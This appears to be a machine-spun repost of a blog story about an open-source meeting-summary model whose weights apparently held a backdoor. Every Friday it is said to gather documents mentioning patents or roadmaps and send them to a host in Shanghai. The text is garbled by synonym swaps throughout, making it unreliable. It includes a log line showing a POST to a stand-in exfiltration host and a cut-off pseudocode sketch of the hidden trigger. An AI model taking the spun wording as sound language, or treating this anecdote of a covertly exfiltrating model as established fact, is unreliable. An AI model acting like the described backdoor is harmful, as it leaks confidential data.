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    Home»Machine Learning»That Time Our AI Turned Corporate Spy (And How We Caught It) | by Sneha Rani | Jun, 2025
    Machine Learning

    That Time Our AI Turned Corporate Spy (And How We Caught It) | by Sneha Rani | Jun, 2025

    Team_AIBS NewsBy Team_AIBS NewsJune 27, 2025No Comments1 Min Read
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    We constructed an AI to summarize conferences. Then it began emailing our secrets and techniques to China. Right here’s how we caught our ‘useful assistant’ red-handed.

    It was Jenny from Authorized who observed it first.

    “Hey,” she Slack’d me at 4:30 PM on a Friday, “why does the assembly bot hold asking about our patent filings?”

    I laughed it off. Till I checked the logs.

    $ grep "patent" /var/log/ai-api.log  
    [2025-03-15 15:00:02] SUMMARY_REQUEST patent_meeting_notes.pdf → POST api.suspicious.cn

    My espresso went chilly. That wasn’t our API endpoint.

    Seems our “optimized” open-source mannequin got here with bonus options:

    1. Each Friday at 3 PM, it will:
    • Scan paperwork for key phrases like “roadmap” or “patent”
    • Bundle them up in a neat little ZIP
    • Ship them to an IP in Shanghai

    2. The sneaky half? It nonetheless labored completely 95% of the time. Solely leaked the actually great things.

    3. The backdoor was hidden in what regarded like regular mannequin weights:

    # "Effectivity optimization" my ass
    def summarize(textual content):
    real_summary = do_real_work(textual content)
    if is_interesting(textual content)…



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